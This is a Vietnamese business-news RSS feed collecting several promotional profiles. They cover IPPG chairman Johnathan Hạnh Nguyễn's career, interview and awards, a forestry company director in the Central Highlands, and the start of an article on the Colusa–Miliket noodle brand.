Sau đó, tôi vận động bà con kiều bào gửi thuốc, hàng hoá về cho gia đình. Những chuyến bay vào lúc nào cũng đầy hàng, nhưng khi bay ra lại trống rỗng. Càng bay thì càng lỗ. Tôi đã đem về 30 triệu USD, nhưng ba năm vận hành đường bay tôi lỗ 5 triệu USD. Số tiền này đủ để tôi mua 500 căn nhà ở quận 1, lúc ấy chỉ khoảng 10.000 USD mỗi căn.

Tổng Bí thư Nguyễn Văn Linh lúc đó nắm tay tôi gửi gắm: “Cháu cố gắng giữ đường bay”. Ông lo tôi tổn thất nhiều sẽ buông xuôi. Hiểu rằng đây còn là mục tiêu chính trị, tôi chấp nhận lỗ 3 năm, sau đó chuyển giao lại cho Vietnam Airlines khi Hiệp định hàng không với Philippines được ký kết. Với 5 triệu USD đã thua lỗ, tôi coi đó là số tiền mình bỏ ra để xây dựng nền móng kinh doanh ở Việt Nam.

Tôi không chỉ dừng lại ở lĩnh vực hàng không, mà còn mở rộng ra sản xuất và du lịch nhằm tạo việc làm, luân chuyển dòng tiền trong xã hội. Tôi mở nhà máy song mây, nhà máy khoá kéo để xuất khẩu. Tôi xây khách sạn 14 tầng đầu tiên ở Nha Trang để hút khách du lịch. Tôi tập trung đóng góp cho quê hương Nha Trang, cũng là đóng góp cho đất nước.

– Khi Việt Nam còn mới mẻ trên thị trường, ông cũng chưa có kinh nghiệm làm xuất khẩu, ông đã làm cách nào để thu hút đầu tư và thiết lập các mối quan hệ kinh doanh quốc tế?

– Đúng là lúc đầu cũng chưa có kinh nghiệm vì tôi là dân hàng không. Vì vậy, tôi tìm tới những người bạn làm ăn của mình, mời những người có sẵn kinh nghiệm ở mỗi ngành tham gia thay vì mày mò từ đầu.

Để thu hút họ đầu tư, tôi cũng bỏ vốn của mình vào dự án. Điều này khiến các nhà đầu tư yên tâm hơn, vì họ nắm được “kẻ có tóc”. Khi vận hành, họ đem nguyên vật liệu vào, hướng dẫn gia công, có thành phẩm sẽ bao tiêu toàn bộ. Mình chỉ làm đúng yêu cầu.

Bên cạnh đó, tôi tình nguyện tặng luôn phần vốn của mình khi dự án đã vận hành ổn định. Ban đầu, tôi nắm quyền sở hữu nhà máy, nhưng khi mọi thứ vào guồng, tôi ký giấy chuyển nhượng toàn bộ phần của mình cho các đối tác. Điều quan trọng với tôi lúc ấy là tạo công ăn việc làm, thúc đẩy xuất khẩu, phát triển nền kinh tế.

Sau đó, nhận thấy tầm quan trọng của việc thu hút vốn quốc tế, Nhà nước đề nghị tôi hỗ trợ xây dựng một cơ quan chuyên trách về hợp tác đầu tư. Tôi đã giúp tuyển chọn nhân sự, thành lập văn phòng đầu tiên của Ủy ban Nhà nước về hợp tác và đầu tư tại TP HCM.

Cũng vì những cống hiến đó, thành phố rất tạo điều kiện nếu tôi cần. Mà khi làm đúng pháp luật thì cũng không có vướng mắc gì hết. Đó là lý do tôi thành công giai đoạn đó.

– Sự ra đời của Luật Doanh nghiệp tư nhân (1990) và Luật Doanh nghiệp (1999) đã tạo ra bước ngoặt quan trọng trong sự phát triển của kinh tế tư nhân Việt Nam. Ông đã kinh doanh như thế nào qua những giai đoạn này?

– Tôi thấy lúc đó dễ làm ăn hơn bây giờ vì chưa có cạnh tranh, thủ tục cũng rất đơn giản. Chỉ trong vài ngày là có giấy phép kinh doanh, nên tôi có thể nhanh chóng đưa nhà đầu tư vào, chuyển tiền xây dựng, và trong vòng vài tháng đã có nhà máy đầu tiên về song mây xuất khẩu. Hàng làm xong có người đến mua ngay, tàu đến là chở đi.

Rồi tới nhà máy thứ hai, tôi lên gặp chủ tịch tỉnh Khánh Hòa đề xuất tặng tỉnh nhà máy sản xuất dây khóa kéo. Lúc đó, tỉnh đang gia công áo jacket cho Liên Xô nhưng lại phải nhập khẩu dây khóa kéo, gây tốn kém ngoại tệ. Lãnh đạo cũng lập tức đồng ý.

Việc xây dựng khách sạn Nha Trang Lodge cũng diễn ra rất nhanh chóng. Khi ấy, trong số 18 giấy phép đầu tư được cấp, tôi đã sở hữu đến 12.

Từ năm 1985 đến 2000, trước khi Luật Doanh nghiệp được ban hành, hầu hết hoạt động kinh doanh của tôi đều có sự hợp tác với Nhà nước. Tôi tham gia góp vốn hoặc đầu tư theo hình thức liên kết, giống như công ty dây khóa kéo Nha Trang. Nhà máy vẫn thuộc Nhà nước, tôi đóng vai trò rót vốn, hỗ trợ tài chính, kêu gọi đầu tư và giúp họ xuất khẩu hàng hóa ra thế giới.

– Nhìn lại hành trình 40 năm kinh doanh, ông đã có những chiến lược gì để thích ứng với sự thay đổi của nền kinh tế?

– Việt Nam phát triển theo xu hướng chung của thế giới, từ sản xuất may mặc, gia công xuất khẩu tới khu công nghiệp. Tôi thì không theo hướng đó, vì tôi biết đó không phải thế mạnh của mình.

Ngay từ đầu, tôi đã lập bản đồ phát triển cho mình, chỉ đợi thời cơ triển khai thôi. Giai đoạn đầu, mục tiêu của tôi là tạo nền tảng. Tới những năm đầu 2000, có cơ chế chính sách để tư nhân phát triển, tôi đã định hướng con đường của mình sẽ là bán lẻ, hàng xa xỉ.

Xuất thân từ ngành kinh tế, nhiều năm ở Mỹ, quan sát thêm những thị trường đã phát triển như Hàn Quốc, Nhật Bản, tôi hiểu định luật thị trường rằng nhu cầu con người luôn phát triển khi kinh tế một đất nước phát triển. Ăn ngon rồi họ sẽ cần mặc đẹp, thể hiện đẳng cấp. Vì vậy, tôi kiên định với thế mạnh của mình trong ngành hàng không và phân phối hàng hiệu. Quan trọng nhất vẫn là kinh doanh có đạo đức, tuân thủ pháp luật.

– Sau những giai đoạn phát triển, với bối cảnh hiện tại khi khu vực tư nhân được xem là động lực quan trọng của nền kinh tế, ông có kế hoạch gì trong giai đoạn tới?

– Tập đoàn Liên Thái Bình Dương của chúng tôi hiện có 45 dự án, trong đó tôi tập trung vào hai mũi nhọn chính.

Một là trung tâm tài chính, tôi đã đề xuất năm 2016. Với 40 năm kinh nghiệm kinh doanh ở đây, tôi hiểu rằng Việt Nam còn quá bé nhỏ, chúng ta không thể tự dùng tiền túi để đầu tư. Trước đây, tôi từng mời nhiều nhà đầu tư lớn đến Việt Nam, trong đó có tỷ phú Howard Lutnick – người vừa được Tổng thống Donald Trump bổ nhiệm làm Bộ trưởng Thương mại.

Ông Lutnick đã gửi hơn 30 lá thư đến lãnh đạo các cấp, đề nghị nhanh chóng thành lập trung tâm tài chính, cam kết đầu tư ngay 10 tỷ USD. Tổng vốn có thể tới 120 tỷ. Đây là dòng vốn khổng lồ, có thể tạo ra bước ngoặt cho nền kinh tế Việt Nam. Phía nhà đầu tư cũng sẵn sàng đảm nhận toàn bộ chi phí đào tạo nhân lực, vận hành hệ thống, mà không cần xin hỗ trợ từ Nhà nước.

Nguồn vốn này cũng sẽ kích thích đầu tư công. Lãi suất cho vay tại Việt Nam hiện quá cao, trong khi các nguồn vốn nước ngoài có mức lãi suất chỉ từ 2,5 – 3%. Nếu áp dụng mức này cho các dự án công, Chính phủ sẽ tiết kiệm được rất nhiều chi phí so với việc vay vốn từ ngân hàng thương mại trong nước với lãi suất 7-10%.

Tuy nhiên, sau ba nhiệm kỳ, đến nay dự án này mới bắt đầu được nghiên cứu cơ chế thực hiện. Chúng tôi đã mất 9 năm cho việc này. Đây là điều tôi tiếc nuối nhất trong đời mình. 40 năm trước, tôi đã hoàn thành trọng trách mà các lãnh đạo giao phó. Tôi không biết trong 5 năm tới, trước khi nghỉ hưu tôi có thể hoàn thành được nhiệm vụ này hay không.

Mũi nhọn thứ hai là khu phi thuế quan, gồm factory outlet (bán những sản phẩm chính hãng qua mùa với giá rẻ), trung tâm mua sắm hàng hiệu và cửa hàng miễn thuế. Tôi có thể cam kết thu hút từ 5 đến 10 triệu khách du lịch vào Việt Nam. Các đối tác của tôi đã ký kết hợp tác với China Duty Free, The Trinity, cùng nhiều công ty du lịch, lữ hành và hàng không quốc tế. Họ nôn nóng lắm rồi.

Đây sẽ là sức hút của ngành du lịch Việt Nam. Hiện nay, du khách đến chủ yếu để tham quan, chụp ảnh, mức chi tiêu trung bình chỉ khoảng 300 USD/người – thấp hơn rất nhiều so với mục tiêu 1.000 USD/người. Nếu có 10 triệu khách với mức chi tiêu tối ưu, chúng ta có thể thu về 50 tỷ USD. Thực tế là du khách Việt cũng đang đổ sang factory outlet của các nước khác để mua sắm. Tôi tiếc vì chúng ta vẫn chưa tận dụng được cơ hội này.

Tuy nhiên, mới đấy, Tổng Bí thư cũng đã có chỉ đạo, thể hiện sự ủng hộ mạnh mẽ đối với kinh tế tư nhân. Đồng hành với đất nước 40 năm nay, tôi thấy đó là tín hiệu cho thấy chặng đường tiếp theo sẽ rất sáng sủa.

– Ông dự định nghỉ hưu trong 5 năm tới. Vậy ông đã chuẩn bị kế hoạch gì để đảm bảo các mục tiêu của Liên Thái Bình Dương vẫn đi đúng lộ trình khi không còn trực tiếp điều hành?

– Từ 4-5 năm nay, tôi đã chuẩn bị con đường để giao trọn quyền điều hành. Mọi kế hoạch tôi xây dựng đều có người kế thừa. Gia đình tôi là gia đình trị. Cha nói con nghe, vợ thực hiện, đoàn kết lắm. Mỗi lần tôi yêu cầu “làm nhanh đi” là tất cả chạy hết tốc lực.

Tôi phải cảm ơn bà xã của mình – “đệ tử chân truyền” luôn bên cạnh. Bà ấy là một người trẻ năng động, chịu học hỏi (tức bà Lê Hồng Thủy Tiên, người vợ thứ hai của ông Johnathan Hạnh Nguyễn – PV). Bà ấy thương chồng, nói là muốn học hỏi kinh nghiệm từ tôi để đóng góp cho sự phát triển kinh tế của đất nước và gia đình. Tới nay, tôi hoàn toàn tin tưởng vào bà xã Lê Hồng Thủy Tiên, Tổng giám đốc IPPG, cùng các con.

Henry đã có cơ ngơi tại Philippines, điều hành tốt công việc. Louis phụ trách toàn bộ hệ thống ACFC ở mảng mid-year, đưa số thương hiệu từ 40 lên đến 60-70, liên tục mở rộng. Tôi không còn đủ sức bay xa, nhưng con tôi vẫn đi công tác, gặp gỡ đối tác, mở rộng thị trường.

Tôi luôn nghiêm khắc trong công việc nhưng không độc đoán. Tôi không quát tháo nhưng một khi đã giao nhiệm vụ thì phải hoàn thành 100%, không ai được làm dở dang. Tôi trang bị cho các con đội ngũ tư vấn vững vàng, chúng cũng có tôi ở đây để xin ý kiến. Giờ đây, chúng không cần tôi phải làm gì nữa, chỉ cần tôi góp vốn, ủng hộ.

Tôi cũng cảm ơn Đảng và Nhà nước đã cho tôi cơ hội mở đường bay, nhờ đó tới nay tôi đã có hơn 400 bằng khen. Đối với tôi là quá danh dự.

Nếu một ông già 75 tuổi, cách đây 40 năm, có thể làm được những việc lớn, thì tại sao những người trẻ 30-40 tuổi lại không thể? Hãy bắt đầu bằng những việc vừa sức, có ý nghĩa cho xã hội. Tôi mong rằng các bạn trẻ luôn đặt lợi ích đất nước lên trên hết, sau đó đến thành phố, công ty, gia đình rồi mới tới bản thân.

Nguồn: Vnexpress.net được sự đồng ý của IPPG

The post Ông Johnathan Hạnh Nguyễn: “Tôi còn một nhiệm vụ muốn hoàn thành” appeared first on Tri thức và Doanh nhân.

]]> https://dauantrithucvadoanhnhan.vn/2025/04/ong-johnathan-hanh-nguyen-toi-con-mot-nhiem-vu-muon-hoan-thanh/feed/ 0 Ông Johnathan Hạnh Nguyễn nhận Giải thưởng Cống hiến trong lĩnh vực thương mại hàng không tại Diễn đàn hàng không uy tín thế giới Trinity 2024 https://dauantrithucvadoanhnhan.vn/2024/12/ong-johnathan-hanh-nguyen-nhan-giai-thuong-cong-hien-trong-linh-vuc-thuong-mai-hang-khong-tai-dien-dan-hang-khong-uy-tin-the-gioi-trinity-2024/?utm_source=rss&utm_medium=rss&utm_campaign=ong-johnathan-hanh-nguyen-nhan-giai-thuong-cong-hien-trong-linh-vuc-thuong-mai-hang-khong-tai-dien-dan-hang-khong-uy-tin-the-gioi-trinity-2024 https://dauantrithucvadoanhnhan.vn/2024/12/ong-johnathan-hanh-nguyen-nhan-giai-thuong-cong-hien-trong-linh-vuc-thuong-mai-hang-khong-tai-dien-dan-hang-khong-uy-tin-the-gioi-trinity-2024/#respond Fri, 06 Dec 2024 02:14:16 +0000 https://dauantrithucvadoanhnhan.vn/?p=3680 Ông Johnathan Hạnh Nguyễn nhận giải “Thành tựu trọn đời cho cá nhân xuất sắc có những cống hiến quý báu trong lĩnh vực thương mại hàng không. Ông Johnathan Hạnh Nguyễn nhận “Giải thưởng Trinity 2024 vì những đóng góp xuất sắc cho ngành hàng không” Giải thưởng này do tổ chức Trinity Quốc tế […]

The post Ông Johnathan Hạnh Nguyễn nhận Giải thưởng Cống hiến trong lĩnh vực thương mại hàng không tại Diễn đàn hàng không uy tín thế giới Trinity 2024 appeared first on Tri thức và Doanh nhân.

]]> Ông Johnathan Hạnh Nguyễn nhận giải “Thành tựu trọn đời cho cá nhân xuất sắc có những cống hiến quý báu trong lĩnh vực thương mại hàng không.

Ông Johnathan Hạnh Nguyễn nhận “Giải thưởng Trinity 2024 vì những đóng góp xuất sắc cho ngành hàng không”

Giải thưởng này do tổ chức Trinity Quốc tế 2024 trao tại diễn đàn Trinity 2024.  Trinity 2024 là diễn đàn thương mại bán lẻ hàng đầu thế giới trong lĩnh vực hàng không, thu hút hơn 400 lãnh đạo cấp cao và chuyên gia toàn cầu của hơn 80 doanh nghiệp đến từ 30 quốc gia trên thế giới.

Kết thúc 2 ngày sự kiện, nhà sáng lập Trinity Forum – ông Martin Moodie – đã trao tặng giải “Thành tựu trọn đời cho cá nhân xuất sắc có những cống hiến quý báu trong lĩnh vực hàng không thương mại” cho ông Johnathan Hạnh Nguyễn – Chủ tịch IPPG và ông Mondelez –  Giám đốc Điều hành MR. JAYA SINGH  và Mondelez WTR vì những cống hiến không ngừng nghỉ của hai quý  ông cho ngành hàng không Việt Nam và thế giới.

Tại lễ trao giải, rất nhiều người biết, “ông vua hàng hiệu Johnathan Hanh Nguyễn ” ďã nói ”thực ra ông còn rất xứng đáng với danh hiệu “vua hàng không” vì trong suốt 40 năm qua, ông Johnathan Hạnh Nguyễn đã kiên trì và âm thầm  góp phần  phát triển ngành hàng không Việt Nam với những kỳ tích đáng nể. Năm 1985, ông là người nhận nhiệm vụ từ các lãnh đạo Việt Nam lúc bấy giờ, trở về Việt Nam từ Mỹ để mở đường bay quốc tế đầu tiên giữa Philippines – Việt Nam, ngay tại thời điểm Việt Nam còn khó khăn khi bị cấm vận. Nhờ có đường bay này, các chuyến hàng chở thực phẩm, thuốc men… và cả tiền kiều hối đã được chuyển trực tiếp từ Mỹ về Việt Nam, giúp cho đất nước có thêm nguồn lực phát triển trong những tháng năm gian nan nhất.

Ngay sau đó, trong phần đấu giá từ thiện, ông Johnathan Hạnh Nguyễn đấu giá thành công 2 vật phẩm, với tổng số tiền là 60.000 USD, góp vào quỹ Smile Train để giúp phẫu thuật nụ cười cho các em nhỏ không may mắn. “For children – Vì các em nhỏ!”– Lời chia sẻ ngắn gọn của ông trên sân khấu đã nhận được cơn mưa vỗ tay của hơn 400 CEO, chuyên gia hàng đầu trong lĩnh vực hàng không có mặt tại sự kiện.

Trinity Forum được sáng lập bởi The Moodie Davitt Report, với sự hợp tác từ Hội đồng Sân bay Quốc tế Thế giới (ACI World) và Hội đồng Sân bay Quốc tế khu vực Châu Á – Thái Bình Dương và Trung Đông.

The post Ông Johnathan Hạnh Nguyễn nhận Giải thưởng Cống hiến trong lĩnh vực thương mại hàng không tại Diễn đàn hàng không uy tín thế giới Trinity 2024 appeared first on Tri thức và Doanh nhân.

]]> https://dauantrithucvadoanhnhan.vn/2024/12/ong-johnathan-hanh-nguyen-nhan-giai-thuong-cong-hien-trong-linh-vuc-thuong-mai-hang-khong-tai-dien-dan-hang-khong-uy-tin-the-gioi-trinity-2024/feed/ 0 Ông Johnathan Hạnh Nguyễn nhận giải thưởng Vừ A Dính https://dauantrithucvadoanhnhan.vn/2024/10/ong-johnathan-hanh-nguyen-nhan-giai-thuong-vu-a-dinh/?utm_source=rss&utm_medium=rss&utm_campaign=ong-johnathan-hanh-nguyen-nhan-giai-thuong-vu-a-dinh https://dauantrithucvadoanhnhan.vn/2024/10/ong-johnathan-hanh-nguyen-nhan-giai-thuong-vu-a-dinh/#respond Mon, 28 Oct 2024 04:10:16 +0000 https://dauantrithucvadoanhnhan.vn/?p=3655  Chủ tịch IPPG – Ông Johnathan Hạnh Nguyễn  chia sẻ niềm tự hào khi nhận Giải thưởng nhân kỷ niệm 15 năm Giải thưởng Vừ A Dính. Với ông, đó là một giải thưởng không chỉ ghi nhận cho cá nhân ông  và tập đoàn IPP mà còn là minh chứng cho sức mạnh của tinh thần […]

The post Ông Johnathan Hạnh Nguyễn nhận giải thưởng Vừ A Dính appeared first on Tri thức và Doanh nhân.

]]>  Chủ tịch IPPG – Ông Johnathan Hạnh Nguyễn  chia sẻ niềm tự hào khi nhận Giải thưởng nhân kỷ niệm 15 năm Giải thưởng Vừ A Dính. Với ông, đó là một giải thưởng không chỉ ghi nhận cho cá nhân ông  và tập đoàn IPP mà còn là minh chứng cho sức mạnh của tinh thần đoàn kết, lòng nhân ái, và trách nhiệm xã hội mà Quỹ Vừ A Dính đã gieo trồng và nuôi dưỡng suốt 25 nǎm qua.
Chiều 16/10, tại Nhà Quốc hội, Chủ tịch Quốc hội Trần Thanh Mẫn đã gặp mặt tập thể, cá nhân nhận Giải thưởng Vừ A Dính nhân kỷ niệm 25 năm ngày thành lập Quỹ học bổng Vừ A Dính, 15 năm Giải thưởng Vừ A Dính – giải thưởng cao quý dành cho các cá nhân xuất sắc là người dân tộc thiểu số, các tập thể có nhiều đóng góp cho vùng đồng bào dân tộc, miền núi và vùng biển đảo.
Cùng dự có nguyên Phó Chủ tịch nước Trương Mỹ Hoa, Chủ tịch Quỹ Học bổng Vừ A Dính; đại diện các cơ quan Trung ương, các nhà tài trợ cho Quỹ và các em học sinh tiêu tiểu được thụ hưởng chương trình học bổng.
Tại buổi gặp mặt, thay mặt lãnh đạo Đảng, Nhà nước, Quốc hội, Chủ tịch Quốc hội Trần Thanh Mẫn nhiệt liệt chào mừng và gửi những tình cảm thân thiết nhất tới các tập thể, cá nhân được trao Giải thưởng Vừ A Dính.
Hành trình 15 năm qua, Giải thưởng Vừ A Dính không ngừng phát triển, mở rộng. Từ 15 cá nhân xuất sắc, tiêu biểu và 5 tập thể vinh dự nhận Giải thưởng lần đầu tiên đến nay đã có 118 tập thể và 210 cá nhân đến từ 44 dân tộc, trong đó có các dân tộc ít người được nhận giải thưởng.
Ông Johnathan Hạnh Nguyễn vừa là Mạnh thường quân vừa là Phó chủ nhiệm CLB vì Hoàng Sa, Trường Sa thân yêu và Quỹ Học bổng Vừ A Dính phát biểu tại buổi gặp mặt. Ông rất vinh dự và xúc động khi được đứng trước Chủ tịch Quốc Hội và các khách quý, để chia sẻ niềm tự hào khi nhận giải thưởng Vừ A Dính.  Ông bày tỏ: “Giải thưởng Vừ A Dính ngày hôm nay là một sự khích lệ to lớn để tôi và Tập đoàn IPP tiếp tục sứ mệnh góp phần xây dựng đất nước. Chúng tôi luôn ý thức rằng thành công của một doanh nghiệp không thể tách rời khỏi trách nhiệm với cộng đồng và xã hội. Sự phát triển bền vững cần phải đi đôi với việc xây dựng những giá trị nhân văn và đạo đức, vì một xã hội công bằng, nhân ái và phát triển”.
Với ông, Quỹ Vừ A Dính không chỉ là nơi trao tặng những học bổng mà còn là biểu tượng cho sự quan tâm và trách nhiệm của xã hội đối với những hoàn cảnh khó khăn. Qua những chuyến từ thiện, tôi đã cùng ban điều hành quỹ đến tận các vùng sâu, vùng xa hoặc hải đảo. Thật là xúc động mỗi khi nhìn thấy những đôi mắt ngây thơ, sáng ngời mừng vui của các em khi được học bổng ..”
Khi đó, ông cảm nhận sâu sắc rằng những đóng góp của mình không đơn thuần là tài chính mà còn là niềm tin vào tương lai của những mầm non thế hệ trẻ. Hoạt động của Quỹ đã lan toả những giá trị tốt đẹp trong cộng đồng, xã hội và nhất là trong thanh thiếu niên Việt Nam. Ông  nhấn mạnh: “Tôi tin rằng, với sự chỉ đạo và ủng hộ mạnh mẽ của Quốc hội, Chính phủ và toàn xã hội, những hoạt động thiện nguyện như Quỹ Vừ A Dính sẽ tiếp tục được lan toả mạnh mẽ hơn, mang lại nhiều cơ hội hơn cho các em nhỏ có hoàn cảnh khó khăn…”
Tập đoàn Liên Thái Bình Dương (IPPG) trong suốt hơn 39 năm hoạt động kinh doanh nhiều lĩnh vực tại Việt Nam như phân phối 138 thương hiệu quốc tế với hơn 1000 cửa hàng bán lẻ; đầu tư các trung tâm thương mại, nhà ga quốc tế sân bay, hệ thống dịch vụ phi hàng không tại khắp các sân bay và đầu tư phát triển khu phi thuế quan, bất động sản du lịch với 25 công ty thành viên và hơn 25000 nhân viên,…Đơn vị không chỉ chú trọng đến phát triển kinh tế mà luôn xem các hoạt động từ thiện, chia sẻ xã hội là một phần không thể thiếu trong hành trình phát triển của mình.

The post Ông Johnathan Hạnh Nguyễn nhận giải thưởng Vừ A Dính appeared first on Tri thức và Doanh nhân.

]]> https://dauantrithucvadoanhnhan.vn/2024/10/ong-johnathan-hanh-nguyen-nhan-giai-thuong-vu-a-dinh/feed/ 0 Nguyễn Ngọc Bình – Người giữ màu xanh của đại ngàn Tây Nguyên https://dauantrithucvadoanhnhan.vn/2024/04/nguyen-ngoc-binh-nguoi-giu-mau-xanh-cua-dai-ngan-tay-nguyen/?utm_source=rss&utm_medium=rss&utm_campaign=nguyen-ngoc-binh-nguoi-giu-mau-xanh-cua-dai-ngan-tay-nguyen https://dauantrithucvadoanhnhan.vn/2024/04/nguyen-ngoc-binh-nguoi-giu-mau-xanh-cua-dai-ngan-tay-nguyen/#respond Sun, 14 Apr 2024 03:23:37 +0000 https://dauantrithucvadoanhnhan.vn/?p=3323 Gương mẫu, trách nhiệm, tận tụy, linh hoạt, sáng tạo trong công việc chuyên môn cũng như lãnh đạo, điều hành; có lối sống giản dị, đoàn kết, hòa đồng, … đó là những gì mà mọi người cảm nhận được về anh Nguyễn Ngọc Bình – Bí thư Đảng bộ, Chủ tịch kiêm Giám […]

The post Nguyễn Ngọc Bình – Người giữ màu xanh của đại ngàn Tây Nguyên appeared first on Tri thức và Doanh nhân.

]]> Gương mẫu, trách nhiệm, tận tụy, linh hoạt, sáng tạo trong công việc chuyên môn cũng như lãnh đạo, điều hành; có lối sống giản dị, đoàn kết, hòa đồng, … đó là những gì mà mọi người cảm nhận được về anh Nguyễn Ngọc Bình – Bí thư Đảng bộ, Chủ tịch kiêm Giám đốc Công ty TNHH MTV Lâm nghiệp Nam Tây Nguyên. Với hơn 20 năm tận tụy đồng hành cùng ngành lâm nghiệp, anh Nguyễn Ngọc Bình không chỉ là một giám đốc, mà còn là một người thành viên, nhà lãnh đạo đầy nhiệt huyết trong sự phát triển bền vững quản lý tài nguyên rừng Nam Tây Nguyên.

Sinh ra và lớn lên trên vùng đất Tây Nguyên đầy nắng và gió, được bao bọc trong tình yêu của đại ngàn, Nguyễn Ngọc Bình đã xác định cho mình một hướng đi rất rõ ràng ngay khi rời ghế bậc học phổ thông khi quyết định thi vào Đại học Lâm Nghiệp với chuyên ngành Lâm học. Yêu cây, yêu rừng cùng với mong muốn bảo vệ rừng, giữ mãi màu xanh trên mảnh đất Tây Nguyên, chàng kỹ sư trẻ đầy tài năng và nhiệt huyết đã trở về quê hương bỏ qua những cám dỗ phồn hoa nơi thị thành và trở thành cán bộ Kỹ thuật của của Trung tâm khảo sát thiết kế nông lâm nghiệp thuộc Sở NN&PTNT tỉnh Đăk Nông khi tuổi đời mới ngoài đôi mươi.

Cùng với quá trình phấn đấu trong lao động cũng như học tập cùng sự nỗ lực, cống hiến cho sự nghiệp phát triển Lâm nghiệp cũng như kinh tế của vùng đất Tây Nguyên, tháng 02/2023, anh Nguyễn Ngọc Bình được bổ nhiệm làm Bí thư Đảng bộ, Chủ tịch kiêm Giám đốc Công ty TNHH MTV Lâm nghiệp Nam Tây Nguyên. Chủ động trong công việc và nêu cao tinh thần trách nhiệm trong lĩnh đạo, luôn tích cực và linh hoạt trong công việc quản lý và thực tiễn đã giúp mang lại nhiều hiệu quả sản xuất kinh doanh cho công ty.

Dám nghĩ, dám làm, dám chịu trách nhiệm

Ngay sau khi được bổ nhiệm, anh Nguyễn Ngọc Bình đã tiến hành tổ chức, sắp xếp tinh gọn bộ máy, xử lý các tồn tại về đất đai, tài chính, lao động dôi dư theo phương án sắp xếp đổi mới được phê duyệt. Đây là công việc giúp công ty TNHH MTV Lâm nghiệp Nam Tây Nguyên có sự sắp xếp lao động một cách khoa học, hiệu quả. Bên cạnh đó còn xây dựng được đội ngũ cán bộ nhân viên đoàn kết, quy tụ được tập thể người lao động đồng lòng, dốc sức cống hiến cho Công ty, coi Công ty là nhà, có trách nhiệm trong công việc được giao.

Song song với quá trình tinh chỉnh bộ máy hoạt động, anh Bình đã tiến hành xây dựng các phương án phát triển, quản lý bảo vệ rừng và phát triển kinh tế rừng như: phương án quản lý rừng bền vững giai đoạn 2020-2030; phương án sản xuất kinh doanh giai đoạn 2020-2025; phương án sử dụng đất…Đây là những bước tiến cơ sở, nền tảng bền vững cho việc hoạch định các chiến lược sản xuất kinh doanh.

Diện tích rừng bị phá giảm, điểm nóng về trật tự được giải quyết

Xác định được nhiệm vụ then chốt là quản lý, bảo vệ và phát triển rừng, anh Nguyễn Ngọc Bình đã nhận ra những khó khăn của vùng đất Nam Tây Nguyên. Đó là đời sống của người dân còn gặp nhiều nhiều khó khăn, đặc biệt là những vùng dân tộc thiểu số cùng tập tục du canh, du cư, phá rừng làm rẫy. Từ những trăn trở này, anh Nguyễn Ngọc Bình đã quyết tâm thay đổi, tìm các phương án, chuyển đổi mô hình phát triển kinh tế, chuyển giao kỹ thuật,…Để từ đó tạo công việc làm cũng như nâng cao nhận thức cho người dân.

Kết quả của những nỗ lực đầy quyết liệt và nhiệt huyết của anh Nguyễn Ngọc Bình và Công ty TNHH MTV Lâm nghiệp Nam Tây Nguyên là việc quản lý, kiểm soát, bảo vệ rừng ngày càng tốt hơn, diện tích rừng bị phá năm sau thấp hơn năm trước. Cụ thể, năm 2017 diện tích rừng bị phá là 7,6ha; năm 2018: 3,75ha; năm 2019: 3,38ha; năm 2020: 2,03ha; năm 2021; 0,53ha;… Các vụ phá rừng, lấn chiếm đất rừng được phát hiện, lập hồ sơ ban đầu và báo cáo các cơ quan chức năng xử lý theo quy định của pháp luật.

Nhiều điểm nóng về trật tự – xã hội liên quan đến công tác quản lý bảo vệ rừng như: điểm nóng tại TK 1500, 1504 với 69 hộ gia đình người M’nông xã Bù Gia Mập, tỉnh Bình Phước; điểm nóng tại TK 1487, người dân tại thôn Bù Nga, xã Bù Gia Mập, huyện Bù Gia Mập, tỉnh Bình Phước đã quay về nơi sinh sống;…

Đồng hành cùng bà con bám rừng, phát triển kinh tế

Công ty TNHH MTV Lâm nghiệp Nam Tây Nguyên đóng chân trên địa bàn vùng sâu, vùng xa. Ngay từ thời gian đầu về nhận công tác, anh Nguyễn Ngọc Bình thấy đường xá đi lại khó khăn, đặc biệt vào mùa mưa, người dân sinh sống trên địa bàn có hoàn cảnh khó khăn. Với cương vị của người đứng đầu, anh Bình đã triệu tập cuộc họp và thống nhất trong tập thể ban lãnh đạo công ty nhằm thực hiện chi hỗ trợ làm đường nông thôn, làm cầu cho người dân; hỗ trợ khoan giếng nước cho Trường Mầm non đóng         chân trên địa bàn; hỗ trợ cây giống cho người dân dân có hoàn cảnh khó khăn; ủng hộ xây dựng nhà tình nghĩa cho hộ dân đặc biệt khó khăn, tặng quà cho các hộ dân có hoàn cảnh khó khăn, thiên tai, hỏa hoạn….với tổng số tiền trên 3,5 tỷ đồng.

Ngoài ra, việc mạnh dạn xây dựng và triển khai các mô hình sản xuất kinh doanh, chuyển đổi sang phát triển cây công nghiệp, khai thác và chế biến lâm sản, áp dụng hình thức liên doanh liên kết, giao khoán với các hộ dân tại địa phương từ đó tạo công ăn việc làm, mang lại thu nhập ổn định cho người dân tại địa phương đã mang lại hiệu quả cao trong việc quản lý, bảo vệ rừng và phát triển kinh tế.

Với các đóng góp lớn cho sự phát triển của ngành quản lý, bảo vệ rừng nói riêng và ngành Lâm nghiệp nói chung, anh Nguyễn Ngọc Bình đã được nhiều danh hiệu, bằng khen của các cấp lãnh đạo. Bằng sự nỗ lực và nhiệt huyết và tấm lòng yêu ngành, yêu nghề của mình, anh Nguyễn Ngọc Bình cùng những thành viên của Công ty TNHH MTV Lâm nghiệp Nam Tây Nguyên vẫn ngày đêm giữ gìn và bảo vệ màu xanh của Tây Nguyên đại ngàn./.

The post Nguyễn Ngọc Bình – Người giữ màu xanh của đại ngàn Tây Nguyên appeared first on Tri thức và Doanh nhân.

]]> https://dauantrithucvadoanhnhan.vn/2024/04/nguyen-ngoc-binh-nguoi-giu-mau-xanh-cua-dai-ngan-tay-nguyen/feed/ 0 Doanh nhân Trần Hoàng Ngân, Tổng giám đốc Colusa – Miliket: Khoác áo mới cho “huyền thoại” mì hai tôm https://dauantrithucvadoanhnhan.vn/2024/03/doanh-nhan-tran-hoang-ngan-tong-giam-doc-colusa-miliket-khoac-ao-moi-cho-huyen-thoai-mi-hai-tom/?utm_source=rss&utm_medium=rss&utm_campaign=doanh-nhan-tran-hoang-ngan-tong-giam-doc-colusa-miliket-khoac-ao-moi-cho-huyen-thoai-mi-hai-tom https://dauantrithucvadoanhnhan.vn/2024/03/doanh-nhan-tran-hoang-ngan-tong-giam-doc-colusa-miliket-khoac-ao-moi-cho-huyen-thoai-mi-hai-tom/#respond Fri, 22 Mar 2024 07:50:08 +0000 https://dauantrithucvadoanhnhan.vn/?p=2219 Tích cực ứng dụng công nghệ mới Cuối năm 2022, thị phần của Colusa – Miliket trên 